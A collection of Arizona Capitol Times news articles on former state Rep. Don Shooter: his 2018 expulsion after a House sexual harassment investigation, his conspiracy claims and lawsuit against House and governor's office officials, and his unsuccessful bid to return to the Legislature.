Rep. Don Shooter relaxes Feb. 1 before a historic vote of his colleagues to remove him from office. He was ousted by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Rep. Don Shooter relaxes Feb. 1 before a historic vote of his colleagues to remove him from office. He was ousted by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

Expelled lawmaker Don Shooter alleges that the speaker of the Arizona House of Representatives and staff members in Gov. Doug Ducey’s office conspired to remove him from office.

In a notice of claim submitted April 16, Shooter’s lawyer, Kraig Marton, alleged that Shooter was expelled to prevent him from uncovering “serious issues of malfeasance in state government contracts.”

“The evidence shows that Don Shooter was ousted, not for discriminatory conduct, but because after several years of discreetly yet repeatedly raising concerns to no avail, he escalated his efforts to stop questionable procurement practices and wasteful spending in state government,” Marton wrote. “He would not back off and made clear to the governor’s office and the speaker that he would soon be issuing subpoenas.”

The House of Representatives voted Feb. 1 to expel Shooter, a Yuma Republican, after an investigation initiated by the House found that he had sexually harassed several women, including a fellow lawmaker, and created a hostile work environment.

In total, nine women have alleged some type of inappropriate behavior by Shooter, ranging from sexually charged comments to unwanted touching. The women include three lawmakers, lobbyists, a former Arizona Capitol Times intern and the former publisher of the Arizona Republic, Mi-Ai Parrish.

The notice of claim did not mention any of the allegations made against him by the nine women in his claim.

A notice of claim is a legal document a person must file before pursuing a lawsuit.

In the notice of claim, Marton alleged that Shooter’s removal was “orchestrated” by House Speaker J.D. Mesnard, R-Chandler, and Ducey’s Chief of Staff Kirk Adams.

Marton pointed to a 100-page exhibit detailing Shooter’s efforts to uncover problematic government contracts as evidence.

The information included in the exhibit is the same information included in a binder containing various allegations of questionable technology contracts awarded by the Arizona Department of Administration that Shooter provided to colleagues and news outlets immediately following his expulsion.

In the notice of claim, Marton wrote that Shooter was going to use his subpoena power as chairman of the House Appropriations Committee to investigate the allegations, and that he told the governor’s office about his plan. Instead, five days later, Rep. Michelle Ugenti-Rita, R-Scottsdale, became the first person to publicly accuse Shooter of sexual harassment, and he was later removed as appropriations chair.

Ugenti-Rita came out on social media on Oct. 19 about sexual harassment against her without naming Shooter, 14 days before Shooter met with the governor’s office.

Mesnard brushed aside Shooter’s claim as having no merit.

“The Arizona Constitution gives the Legislature broad powers when it comes to disciplining its own members, and Mr. Shooter’s expulsion was well within that authority,” the speaker said in a prepared statement. “It’s unfortunate that Mr. Shooter continues to blame others for the consequences of his own actions.”

Ducey press aide Daniel Scarpinato reacted in a similar fashion.

“These are desperate claims by a disgraced, ousted lawmaker,” he said. “We dispute them entirely.”

The notice of claim is a legal precursor to litigation.

Marton wrote that once the accusations were leveled against Shooter, Mesnard then violated House rules and protocols when conducting the investigation by applying the new harassment policy, that he claimed was never vetted or voted on by members, retroactively to Shooter. Many of the allegations against Shooter took place when he served in the Senate.

Marton also argued that Shooter was denied due process and other rights that he should have been afforded under state statutes and the Arizona Constitution.

He also claimed that the investigative report that was released on Jan. 30 was heavily redacted, incomplete and “intentionally devoid of material facts that are supportive and exculpatory of Mr. Shooter.”

Shooter is requesting that he be awarded $1.3 million in damages. The state has 60 days to respond to the notice of claim before he can formally sue.

“What began as an attempt to silence an outspoken critic of corruption in state government contracts turned into an all-out character assassination. Representative Shooter is entitled to have his name cleared, and it appears from the Speaker’s steadfast refusal to release information to the public or legislative members unless ‘required by subpoena’ that the only way to compel transparency and the truth is through litigation,” Marton wrote. “Mr. Shooter intends to vigorously defend his reputation, and to work to restore the damage caused by the actions described in this notice of claim.”

In an email sent to the Arizona Capitol Times that included a copy of the notice of claim, Shooter said he would not publicly comment on the notice of claim.

“However, in 61 days, when I file the formal lawsuits, there will be plenty to say,” he wrote.

Howard Fischer of Capitol Media Services contributed to this report.

This story was revised since its initial publication to include quotes from House Speaker J.D. Mesnard and Gov. Doug Ducey’s aide, Daniel Scarpinato, and remove extraneous information in paragraph 14.

Don Shooter expelled from Arizona House in wake of sexual harassment investigation

Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

The Arizona House of Representatives voted 56-3 today to expel Rep. Don Shooter.

Speaker J.D. Mesnard, R-Chandler, originally was going to punish Shooter, R-Yuma, with censure for what investigators found to be his serial sexual harassment of colleagues and lobbyists.

Taking the floor, Shooter did not apologize, but said he “took it like a man.” He left before the vote was over.

After his ouster, Shooter told the Arizona Capitol Times, “I’ve been thrown out of better places than this.”

He once aspired to be speaker of the chamber and chaired the Appropriations Committee just last year. Shooter had served in the Legislature since 2011, first as a senator. He joined the House last year.

A letter Shooter penned to his colleagues Thursday morning was the tipping point for Mesnard.

In his letter, Shooter described allegations by an unnamed women who had been harassed by her “elected boss” at the Capitol. He said investigators did not include her account in the report and therefore the report was incomplete.

“What has been done to her, by omitting her story and not giving it the respect it deserves you disgrace the mission of the sexual harassment investigation committee and our chamber,” Shooter wrote. “No matter what happens to me, this young woman deserves better. The process matters. The truth matters; the process must be fair and complete.”

In a written statement, Mesnard said Shooter’s “improper conduct” had escalated, forcing him to move to expel the Yuma lawmaker.

He added that investigators, “who Rep. Shooter praised on Tuesday,” had examined every allegation made, including the one Shooter referenced in his letter.

“I’ve spoken with the individual referenced by Rep. Shooter, and the individual has stated that the letter does not reflect the individual’s reaction to the report. Rep. Shooter’s letter is nothing more than an effort to use the individual as a pawn – despite repeated requests from the individual’s attorney that Rep. Shooter not do anything to jeopardize the individual’s anonymity. He’s not standing up for the victim but rather is further victimizing the individual,” Mesnard said.

“Rep. Shooter’s letter represents a clear act of retaliation and intimidation, and yet another violation of the House’s harassment policy,” he continued.

Today’s vote marks the first expulsion of a lawmaker since 1991 when the Senate ejected Carolyn Walker, then the Senate majority whip, in the wake of the “AzScam” investigation. She and other lawmakers were caught in an undercover sting operation agreeing to take money in exchange for their votes; all the others resigned.

The last House expulsion came in 1948 when two members were removed following a fistfight.

In the interim, other legislators have quit prior to their colleagues having to actually bring a vote to the floor, including Rep. Daniel Patterson who quit in 2012 amid charges of verbal abuses and harassment of colleagues.

Shooter, Rep. David Stringer, R-Prescott, and Rep. Noel Campbell, R-Prescott voted against the expulsion.

This story will be updated throughout the day.

Here’s the full letter Shooter sent to his colleagues:

Dear Members,

It is with a heavy heart that I write this letter. Over the past few months, I have done much soul searching about what it means to be elected, to serve in elected office for the people I represent and our state. I have thought a lot about my actions and those I have caused to feel that I did not value by my careless, insensitive and offensive attempts at humor. I have thought a lot about Representative Townsend’s plea on the floor yesterday and the Speaker’s private, but urgent requests since the first week of this painful and public journey to resign.

Much of my focus has been inward and gradually coming to understand the impact of conduct, whether intentional or unintentional, that results in someone feeling demoralized and devalued. These are not just words I am saying because I have to. I care deeply that I have caused others discomfort at best and humiliation at worst. Those who know me, know that has been the hardest part of all of this. When I said that I want to begin to listen and apologize personally, to those who I have wronged, (who are interested) I meant it.

I have respect for those who had the courage to come forward whom I have wronged, because I know it has not been easy. They have paved the way for so many others to feel empowered and to educate those of us who just didn’t understand. Which is why I am writing today. Not to preserve myself but to honor one woman who reluctantly came forward even though she was terrified about the consequences of speaking the truth. With limited means, she hired an attorney and faced the biggest fear of her life because, ultimately, she dared to believe that she did not deserve to be sexually harassed and when people heard what she had endured, these private, humiliating experiences would be exposed and she would know that she never again would have to quietly and gracefully endure such conduct. She did not contact the media. She contacted and met with the independent investigator. It was the hardest thing she has ever done in her life. Yet, inexplicably, the pattern of outrageous conduct that she described, including comments allegedly made directly to her by her elected boss, as well as being subjected to her boss’ exposed genitalia, were not detailed in the report. What has been done to her, by omitting her story and not giving it the respect it deserves you disgrace the mission of the sexual harassment investigation committee and our chamber. No matter what happens to me, this young woman deserves better. The process matters. The truth matters; the process must be fair and complete.

I ask that before there is further discussion of the results of this investigation, the investigator be permitted to bring forward, with dignity and compassion, and ideally anonymously because I am certain that she has lost all faith in the system. This historic report must not hurt those it was intended to protect and empower. I ask that all of you honor the courage of this young woman whose only mistake, at this point, was the mistake of believing her voice mattered. Before we close this effort and consider consequences, I ask that the investigator not be restricted from describing and shining a light on this young woman’s agony. How dare this young woman be dismissed and hidden when she risked so much to come forward. If that is not permitted, fortunately, those with firsthand knowledge can come forward and right this wrong in the ethics committee.

I have come to understand the devastating impact of sexual harassment and no legislator, me included, has the right to sexually harass anyone. I have heightened sense of awareness and compassion for those I have hurt and have been hurt by others. Starting with my own conduct, allegations must be treated with the dignity and respect they deserve.

Respectfully,

 

Don Shooter

Representative

 

Howard Fischer of Capitol Media Services contributed to this report. 

Don Shooter joins LD13 race for return to Capitol

Rep. Don Shooter relaxes Feb. 1 before a historic vote of his colleagues to remove him from office. He was ousted by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Rep. Don Shooter relaxes Feb. 1 before a historic vote of his colleagues to remove him from office. He was ousted by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

Former representative Don Shooter, who was expelled from the Arizona House just months ago, will run again for a seat at the Capitol.

Shooter filed 828 nominating petitions to run as a Republican for state Senate in Legislative District 13, well more than the 474 needed to qualify for the ballot. If he were to win, it would be a swift return to politics for a man who was voted out of the Legislature by his fellow lawmakers in February after a House investigation found he serially sexually harassed colleagues and lobbyists.

Shooter refused to answer questions Wednesday about his past behavior at the Capitol. A House investigation concluded there was “credible evidence” Shooter violated a sexual harassment policy and created a hostile working environment at the Capitol.

The investigation followed up on multiple claims of sexual harassment made against the former representative and senator, sparked by accusations from a fellow lawmaker.

Rep. Michelle Ugenti-Rita, R-Scottsdale, first named Shooter as one of the men in the Legislature who had harassed her. She told KTVK (Channel 3) political reporter Dennis Welch that Shooter asked about her chest in her office and came uninvited to her room with beer at a work conference, where she didn’t answer the door.

After Ugenti-Rita came forward, eight other women told stories of inappropriate, sexually charged comments and unwanted touching, although some of the allegations were found by a special investigator to be unfounded.

The special investigator hired by the House also said there is evidence that Shooter acted inappropriately with women. There also was evidence that Shooter told Mi-Ah Parish, a Korean-American woman and then publisher of the Arizona Republic, that the one thing he has not done on his bucket list was “those Asian twins in Mexico.”

“I’m not going to answer. That’s it, we’re done,” Shooter said when asked what his supporters have had to say about his conduct. “I don’t care. I’m not saying anything.”

Shooter is running for office while also preparing a legal challenge against the state. He alleged in a notice of claim filed in April that the speaker of the Arizona House of Representatives and staff members in Gov. Doug Ducey’s office conspired to remove him from office in an effort  to prevent him from uncovering “serious issues of malfeasance in state government contracts.”

The state has 60 days to respond to that claim, meaning Shooter can’t file a lawsuit before June 15, his attorney, Kraig Marton, confirmed.

Reporters pressed Shooter on how his presence in the race, and if he wins, his return to the Capitol, might affect his former colleagues.

“I don’t care,” Shooter said, before feigning concern that there may be some people who are aghast at his possible election. “Oh no! No that can’t be so,” Shooter said, clasping his face in mock horror.

There was one comment Shooter made sure reporters heard: “Let’s dance.”

Don Shooter supporters work to get him on ballot for Senate

Rep. Don Shooter asks colleagues Thursday not to expel him from the House on the heels of a report saying he is guilty of multiple counts of sexual harassment. (Capitol Media Services photo by Howard Fischer)
Rep. Don Shooter asks colleagues Feb. 1 not to expel him from the House on the heels of a report saying he is guilty of multiple counts of sexual harassment. (Capitol Media Services photo by Howard Fischer)

Asked earlier this month if he’d run for office again following his historic expulsion from the Arizona House of Representatives, former legislator Don Shooter said, “Hell no.

Now Shooter claims he’s willing to serve, but only if a small band of Yuma Republicans can gather enough petitions for the disgraced politician to qualify for the ballot. Shooter was voted out of the Legislature in February after a House investigation found he serially sexually harassed colleagues and lobbyists.

Sally Kizer, who chairs the Colorado River Tea Party, said Shooter reached out to her last week and asked her to circulate his nominating petitions. Shooter used to be first vice chair of her tea party organization, Kizer said, and she and others are gathering signatures for his potential candidacy. Petitions are due May 30.

Shooter told the Arizona Capitol Times that he was first approached by a handful of loyalists who wanted to collect petitions for him. He then reached out to more supporters who wanted to help, Shooter said, adding he’s comfortable with a late push to get his name on the ballot.

“You gotta remember that I was drafted the first go around, and these are only my core supporters I’m sure,” Shooter said, referring to his first legislative campaign in 2010. “They said, ‘Aren’t you gonna run,’ and I said, ‘Well, I didn’t plan on it.’”

Shooter claimed not to care whether they accomplish their goal.  But when they offered to gather signatures for him, Shooter said he told them, “If you get the petitions, I guess I’ll run… If people want me to work and serve, I’ll go.”

Shooter would not say how many signatures he’d already gathered prior to his expulsion from the House, or speculate on the odds he’ll gather the 474 petitions necessary to qualify for the Republican primary in Legislative District 13.

“I don’t know, but we’re going to find out,” he said. “Then we’ll find out if the voters really care about the stuff that’s happened or if they care about having an effective legislature.”

If he qualifies, Shooter would be a candidate for the district’s state Senate seat, which he held from 2013 to 2017 before serving in the House.

Constantin Querard, Shooter’s former consultant who now represents incumbent LD13 Sen. Sine Kerr, said his recollection is that Shooter had somewhere between 400 and 500 signatures collected last year — a candidate would be well served to submit at least 700 to make up for invalid signatures, he added.

Shooter spoke dismissively of the conclusions of a House investigation into multiple claims of sexual harassment made against the former representative and senator, sparked by claims from a fellow lawmaker.

Rep. Michelle Ugenti-Rita, R-Scottsdale, first named Shooter as one of the men in the Legislature who had harassed her. She told KTVK (Channel 3) political reporter Dennis Welch that Shooter asked about her chest in her office and came uninvited to her room with beer at a work conference, where she didn’t answer the door.

After Ugenti-Rita came forward, eight other women told stories of inappropriate, sexually charged comments and unwanted touching. An independent investigation produced a report detailing his repeated violation of a House harassment policy by creating a hostile work environment for female colleagues, other lawmakers, lobbyists and an intern at the Arizona Legislature.

Shooter alleges in a notice of claim that the speaker of the Arizona House of Representatives and staff members in Gov. Doug Ducey’s office conspired to remove him from office in an effort  to prevent him from uncovering “serious issues of malfeasance in state government contracts.”

Some voters would hold Shooter’s expulsion and the allegations that led to it against him, Querard said. But other voters may view the allegations as “fake news” and a “political hit job,” he said, meaning Shooter could be a factor in the race.

“I would take him very seriously in a primary,” Querard said.

Perhaps, Shooter said, there are voters who remember him more as he described himself: an effective legislator.

“I’m a Kentucky hillbilly. I have never suffered from ambition. I haven’t,” Shooter said. “But I’m willing to serve, if people want me to, because I think I was a decent legislator.”

Besides, he quipped, “I got nothing to lose. What are you going to do, fire me? You’re going to kill me twice?”

Ducey: ‘There is truth there’ when women allege sexual harassment

Gov. Doug Ducey (Photo by Paulina Pineda/Arizona Capitol Times)
Gov. Doug Ducey (Photo by Paulina Pineda/Arizona Capitol Times)

Gov. Doug Ducey said Thursday his experience is that women who complain about being sexually harassed are generally telling the truth.

But the governor declined to call for Rep. Don Shooter to resign, saying the investigation of charges against the Yuma Republican should be allowed to play out.

“There’s no place for sexual harassment at the state Capitol or in the private sector,” Ducey said when asked about the multiple allegations that have been made against Shooter. And he called the complaints “serious.”

Ducey said he dealt with these kind of allegations before he was governor, when he was chief executive of Cold Stone Creamery.

“My experience has been when women come forward with allegations like this, there is truth there,” he said. And the governor said he always has dealt with them “seriously and urgently.”

“Sometimes it’s resulted in a termination,” Ducey continued. “Sometimes it resulted in discipline. Sometimes it’s resulted in retraining.”

But the governor, while saying he believes allegations being made — acknowledging that the number of complaints is now up to nine — explained he was not prepared to say Shooter should quit.

“Because I am going to allow the investigation to take place,” he responded to questions.

Ducey said he has not talked with Shooter, with whom he has worked before on the state budget, since the allegations became public.

Shooter won’t be working on the budget for the coming fiscal year, at least not for the time being.

On Thursday, House Speaker J.D. Mesnard named Rep. David Livingston, R-Peoria, to chair the House Appropriations Committee, replacing Shooter who was removed from the panel by the speaker late last week as the complaints from lawmakers, lobbyists and others began to pile up.

Livingston had been vice chairman of the committee which is charged with helping to craft the state spending plan. Rep. Vince Leach, R-Tucson, will take the No. 2 spot on the panel.

In the meantime, a special task force of seven House staffers looking into the allegations, now with the help of an outside law firm to do the investigation.

Mesnard has said he hopes to have the issue wrapped up before lawmakers return to the Capitol the second week of January. But that could depend on what the task force finds.

Any conclusions there is evidence that Shooter is guilty of “disorderly behavior” would result in hearings before the House Ethics Committee. And it would be up to that panel to recommend to the full House whether to take action against the 65-year-old legislator, with expulsion the ultimate punishment.

Ex-lawmaker Shooter says Yuma is his home, judge to rule

Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

Maricopa County Superior Court Judge Rosa Mroz will rule today in a lawsuit challenging former Yuma Rep. Don Shooter’s residency — an issue that could keep him off the ballot this fall.

In court June 14, attorneys for Shooter and Brent Backus, his Republican challenger in Legislative District 13 who brought the lawsuit, sparred over whether Shooter resides in a Yuma condo that he rents despite not paying any electric bills there in recent months, having mail forwarded to a Maricopa County home and briefly changing his voter registration to Maricopa County.

There have long been questions about whether Shooter — who was expelled from the House in February after an investigation found he had sexually harassed several women — lives in the Yuma district he represented for years.

Backus’ attorney Timothy La Sota presented a case that Shooter did not live in the district when he filed his nominating petitions and Shooter does not meet a constitutional provision that requires lawmakers to reside in the county that they are running in for at least one year prior to the election.

But Shooter and his attorney Tim Nelson argued that the former lawmaker’s intent has always been to return to Yuma, even if he sometimes stays with his wife Susan Shooter at their Maricopa County home.

“Yuma’s been good to me,” Shooter said. “It’s my home. I’ve spent considerable time and effort and money to continue that relationship. … I’m spending a lot of money right now to be a part of Yuma. It would be real easy to walk away. It’s a little irritating.”

There’s no doubt that Shooter feels connected to the people of Yuma, but there’s too many coincidences that make it clear that Shooter does not live there, La Sota said.

On the witness stand, Shooter said since he was ousted from the Legislature on February 1, he has spent about two-thirds of his time at his home in Maricopa County. His wife has not visited Shooter’s Yuma residence during the same time period.

No one has paid electricity bills for the Yuma residence in months, according to Arizona Public Service statements. Shooter his wife turned the power off, and joked that was because he’s currently unemployed.

Nelson argued the case was a “desperate” move by Shooter’s political rival.

“There’s nothing desperate about this case,” La Sota said. “The facts are what they are, and you can’t get around them.”

If Mroz rules against Shooter, it is unlikely the disgraced former lawmaker will make it on the ballot this fall.

Expelled lawmaker makes bid for documents in harassment probe

Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

The attorney for Don Shooter charged Wednesday that House leaders are illegally trying to hide the notes of investigators who prepared the report that led to his ouster on charges of sexual harassment.

Kraig Marton told Maricopa County Superior Court Judge Bruce Cohen that his client is entitled not just to the final report on the investigation but also to everything from the notes and interviews the outside investigators conducted to any earlier drafts of the report.

“You don’t get to take down a man and make it very public and hide behind the privilege as if that’s somehow is OK,” Marton said.

But Gregory Falls, who represents the House and the two attorneys hired by Speaker J.D. Mesnard to conduct the probe, argued to Cohen that Shooter got everything he was entitled to: the 86-page report and more than 300 pages of supplemental findings, all of which were made public. Anything else, Falls said, is legally exempt from disclosure under either the attorney-client privilege or the concept that a lawyer’s “work product” is protected.

And Cohen indicated he sees another potential problem in what Shooter and Marton want him to order the House and its investigators to release.

He said it would be one thing if the former Republican lawmaker from Yuma had sued the House accusing the chamber of acting illegally in voting earlier this year on a 57-3 margin to eject him. At that point, Cohen said, the information that was used by House investigators to conclude Shooter was guilty of sexual harassment might be relevant.

Shooter has filed a $1.3 million claim — a formal precursor to litigation — against the House. But to date he has not actually brought a lawsuit.

But this case, Cohen noted, stems from a separate civil lawsuit filed against Shooter by Rep. Michelle Ugenti-Rita, R-Scottsdale, one of the people the investigative report concluded was a victim of Shooter’s harassment.

Her lawsuit charges that Shooter is guilty of slander, libel, battery and negligence. Shooter, in turn, filed a counterclaim accusing Ugenti-Rita with defamation.

That, the judge suggested, makes whatever the House investigators have legally irrelevant to this current lawsuit.

But Marton argued that the report prepared by the private attorneys hired by the House formed the basis for Ugenti-Rita’s suit against Shooter. In fact, he told the judge, some of the claims in her lawsuit are virtual carbon copies of the conclusions the investigators reached.

That, he said, makes Shooter’s ability to see what led to the final report relevant as a matter of fairness and justice.

“Whether the state is a party (to this lawsuit) makes no difference,” Marton told the judge.

Shooter was voted out of the House by his colleagues after the investigative report commissioned by the House found “credible evidence” Shooter violated anti-harassment policies several times with Ugenti-Rita, including making sexual comments and suggestions and making “unwelcome sexualized comments” about her breasts.

But the investigator also found incidents of harassment and improper conduct or comments involving others, including a lobbyist, a newspaper intern and the former publisher of the Arizona Republic.

Falls did not dispute that some of the issues in this latest lawsuit are the same as the ones raised in the report given to House members when they voted to oust Shooter.

But he said that if Shooter contends that Ugenti-Rita’s claims have no legal basis, he remains free to go out and do exactly what the investigators did: interview witnesses. Falls said there is no reason for House investigators, both of whom are lawyers, to have to give up their notes simply to make Marton’s job easier.

Marton, however, said it’s not that simple.

He said the final report cites several anonymous witnesses. And without access to who they are — and what they said — Marton said Shooter cannot defend himself in this lawsuit.

And there’s something else. Marton contends that what was finally made public is different than some earlier drafts that were shared with some people in the House.

“We are credibly advised that the first draft found Miss Ugenti-Rita guilty of misconduct, the later draft does not,” he said.

“That is directly relevant to this case, that is directly relevant to what we want to see,” Marton continued. “When they make a public report that says he’s guilty and she’s not, I’d like to know what they said before.”

Mesnard originally had pushed only that Shooter be censured. But he successfully pushed for expulsion after Shooter sent a letter to colleagues asking they delay any action while they consider whether charges also should be brought against Ugenti-Rita.

One of the issues is whether Ugenti-Rita was complicit in sending what the report described as “unsolicited, sexually explicit communications” to someone who is believed to be a female former staffer. The report described these as “egregious and potentially unlawful acts.”

But the report also says that Brian Townsend, a former House staffer to whom Ugenti-Rita used to be engaged, accepted sole responsibility for sending these out and the matter was not pursued. Shooter contends the details of what the attorneys learned — and the pictures themselves — were in early versions of the report but excised before its release.

After his ouster, Shooter made a bid in August to get elected to the state Senate. But he came in third in the three-way Republican primary.

Few survive as political baggage weighs them down

Rep. David Stringer and former House Speaker David Gowan
Rep. David Stringer and former House Speaker David Gowan

Some candidates with varying degrees of political baggage proved more adept at second chances than others.

Rep. David Stringer and former House Speaker David Gowan advanced to November after securing the Republican nomination in their respective legislative races. Their past actions may have given some voters pause, but not nearly enough to keep them from winning on August 28.

In the case of Stringer, R-Prescott, and Gowan, a Sierra Vista Republican, their primary victories all but assured that they will return to the Capitol, as both Republicans are running in districts with strong GOP voter registration advantages.

Others who faced similar scrutiny for their behavior did not fare so well.

Voters rejected Rep. Paul Mosley, R-Lake Havasu City, in his re-election bid in Legislative District 5 after police body camera footage showed him boasting to a La Paz County sheriff’s deputy about driving well in excess of highway speed limits in March.

Tim Jeffries lost to Rep. Michelle Ugenti-Rita in the race for the LD23 Senate seat acing criticism over his tenure as director of the Department of Economic Security, a job he was fired from amid reports that he fired hundreds of state workers and used a state plane to fly to Nogales to celebrate with employees who gave up their job protections.

And former legislator Don Shooter, who was expelled from the House of Representatives in February following an investigation that concluded he sexually harassed colleagues and lobbyists at the Capitol, was soundly rejected by voters in the LD13 GOP primary for the Senate.

The reasons for their defeat seem obvious.

Shooter faced steep odds from the start given that his colleagues in the House of Representatives ousted him after an investigation substantiated most of the sexually-charged misconduct allegations against him.

In addition to reports of his ouster at DES, Jeffries faced a competitive three-way primary against incumbent Rep. Michelle Ugenti-Rita and a political newcomer.

Mosley’s troubles were the most recent, perhaps making his the most damaging.

“He was a victim of very, very bad judgment and very, very bad timing, which in politics makes for a very, very bad outcome,” said lobbyist Barry Dill.

The story of Mosley’s heavy foot resonated in the local news coverage of the traffic stop in ways that don’t always occur in more rural districts, Dill said. Often, a disconnect exists between the way a story is reported in metro Phoenix or Tucson and how it is portrayed at smaller news outlets.

“The scandals, if that’s what you want to call them, don’t necessarily affect candidates outside of metropolitan areas where local officials rule the day,” he said.

Campaign consultant Constantin Querard, who worked with Gowan and Stringer, said voters in more rural districts interpret messages and stories differently than the media in major markets like Phoenix. And while GOP leaders called for Stringer’s resignation after he told a GOP gathering in June that there are “not enough white kids to go around” in Arizona’s public schools, voters in LD1 understood the message that Querard said Stringer was trying to get across – immigration without assimilation is unhealthy.

“Stringer’s trouble came because he said something lots of other people have said, but he said it very badly,” Querard said.

While the media went on a feeding frenzy, Querard said the average voter “understands pretty easily if they like what you’ve said but understand that you said it badly. That’s not a capital crime.”

Pundits on Twitter may have piled on Gowan for his past struggles as speaker – Gowan repaid the state $12,000 that he had wrongfully received as reimbursement and his administration was the subject of two investigations that led to strong rebukes, but no criminal charges, from the attorney general – but he resonated as a true “citizen legislator” who works multiple jobs to provide for his family while also vying for the part time job as a state senator.

Gowan’s relationships in his community cut through the news coverage and political spending against him, Querard said.

“You connect to your neighbors more because frankly, you depend on your neighbors more. There’s a greater sense of community because you need your community,” Querard said. “It’s a lot more difficult to lie about somebody down there because they know that person.”

The latest available campaign finance reports show that Gowan overcame tens of thousands of dollars in outside spending that attacked his record and sought, but failed, to prop up his opponent, Rep. Drew John.

“He’s probably outspent five to one, with the media against him, and wins,” Querard said. “The voters are obviously figuring some stuff out despite what they’re being told.”

Former Rep. Shooter files suit

Rep. Don Shooter asks colleagues Thursday not to expel him from the House on the heels of a report saying he is guilty of multiple counts of sexual harassment. (Capitol Media Services photo by Howard Fischer)
Rep. Don Shooter asks colleagues Feb. 1, 2018, not to expel him from the House on the heels of a report saying he is guilty of multiple counts of sexual harassment. (Capitol Media Services photo by Howard Fischer)

Claiming his rights were violated, ousted state Rep. Don Shooter has filed suit against the state demanding unspecified damages.

In a 41-page lawsuit filed in Maricopa County Superior Court, Shooter cited what he said are a series of actions taken not just by J.D. Mesnard, at the time the speaker of the House, but also Kirk Adams who was chief of staff to Gov. Doug Ducey. In essence, Shooter said they all were involved in a conspiracy to silence him for trying to use his position as chair of the House Appropriations Committee to investigate contracts that were being awarded without seeking bids. Shooter is suing Mesnard and Adams in their personal capacity.

But the heart of the complaint filed on his behalf by former Attorney General Tom Horne is that Shooter was denied his due process in the way he was investigated and eventually voted out of the House.

He said the complaints against him by Sen. Michelle Ugenti-Rita, R-Scottsdale and others should have been referred to the Ethics Committee or other special panel, saying that has been the process since the state was formed. In that format Shooter would have had opportunity to present his own evidence and have his counsel question witnesses against him.

Instead, he said, Mesnard farmed out the issue to a committee of House staffers who, in turn, hired outside attorneys to investigate.

Shooter also said his due process rights were violated because his ouster was based on his having violated a “zero tolerance” standard for sexual harassment, a policy that did not exist at the time he was investigated and at the time when colleagues voted 56-3 to eject him from the House. And he charged that Mesnard had the independent investigators he hired to “omit material and exculpatory testimony and evidence,” including allegations against Ugenti-Rita.

The House voted last Feb. 1 to expel Shooter after an investigative report found there was “credible evidence” Shooter had sexually harassed other lawmakers, lobbyists and others. Only Reps. Noel Campbell and David Stringer, both Republicans from Prescott, voted with Shooter against the move, saying a censure would have been more appropriate.

Horne said if his case had gone through the Ethics Committee, the allegations “would have been measured against entirely different policies and the outcome would have been entirely different.”

In the lawsuit, Horne concedes that the expulsion vote was not a judicial proceeding which is subject to certain set rules and protections. But he said that Shooter had a “property right” in his seat in the House, to which he was elected, and cannot be deprived of that without giving him due process.

Aside from the failure to have his case handled by the Ethics Committee, Horne said Shooter said he should have been provided access to the complete investigative file, including the investigators’ notes describing the testimony of witnesses “so that he could properly mount a defense to the allegations raised against him.”

“He should, at the very least, have had timely access to the information in order to question the bias, interest, and motive of his accusers,” the lawsuit states. And Horne also contends that Shooter was libeled throughout the process.

Mesnard has since moved to the Senate. Contacted about the lawsuit, he repeated his statement that neither he nor the House did anything wrong, saying the Arizona Constitution gives the Legislature “broad powers” to discipline its own members “and Mr. Shooter’s expulsion was well within that authority.”

There was no immediate comment from Adams.

Four women lawmakers call for Ugenti-Rita, Rios to be suspended from leadership roles in House

House Minority Leader Rebecca Rios
House Minority Leader Rebecca Rios

Four GOP representatives asked for their fellow Reps. Michelle Ugenti-Rita and Rebecca Rios to be removed from their leadership roles in the House pending an investigation of sexual harassment accusations at the Capitol.

Republican Reps. Regina Cobb, Jill Norgaard, Becky Nutt and Maria Syms all signed the letter to House Speaker J.D. Mesnard asking for Ugenti-Rita, R-Scottsdale, to be removed from her role as chair of the House Ways and Means Committee and for Rios, D-Phoenix, to be removed as the minority leader of the House Democratic Caucus.

The letter, sent today, was also sent to every member of the House.

Mesnard, R-Chandler, has the authority to strip Ugenti-Rita of her committee chairmanship — the speaker removed Rep. Don Shooter, R-Yuma, as chair of the Appropriations Committee after nine women, including Ugenti-Rita, accused him of sexual harassment — while it would take a vote of the Democratic Caucus to remove Rios as their leader. Mesnard told the Arizona Capitol Times he would take the request “under advisement.”

Since Shooter was stripped of a leadership role pending the House’s investigation, it would only be right for the same to be done to Ugenti-Rita and Rios to “maintain equal treatment, consistency, and the integrity of the House policy,” the four representatives wrote in their letter.

Syms, a Paradise Valley Republican, told the Capitol Times failing to remove Ugenti-Rita and Rios from their leadership positions undermines the integrity of the investigation.

“If we’re going to remove one from leadership we have to remove all from leadership pending the investigation,” she said. “And I hope, and I’m encouraged, that House leadership will fully vet all of these claims and we will root out any sexual harassment that is found.”

Rep. Michelle Ugenti-Rita (R-Scottsdale)
Rep. Michelle Ugenti-Rita (R-Scottsdale)

Norgaard, who represents Phoenix’s Legislative District 18, said regardless of gender or political party, “nobody should be exempt from the rules.”

“If politicians are going to behave at a substandard level, then I think they need a time out,” Norgaard said.

Unlike Shooter, who’s been accused of sexual harassment, claims of wrongdoing against Ugenti-Rita and Rios pertain to alleged affairs with House staffers, and in Ugenti-Rita’s case, “inappropriate sexual comments made and recorded during a hearing,” the letter states. Those accusations were made by Shooter, who lashed out after Ugenti-Rita publicly named him as one of the men she claims have sexually harassed her while she’s served at the Legislature.

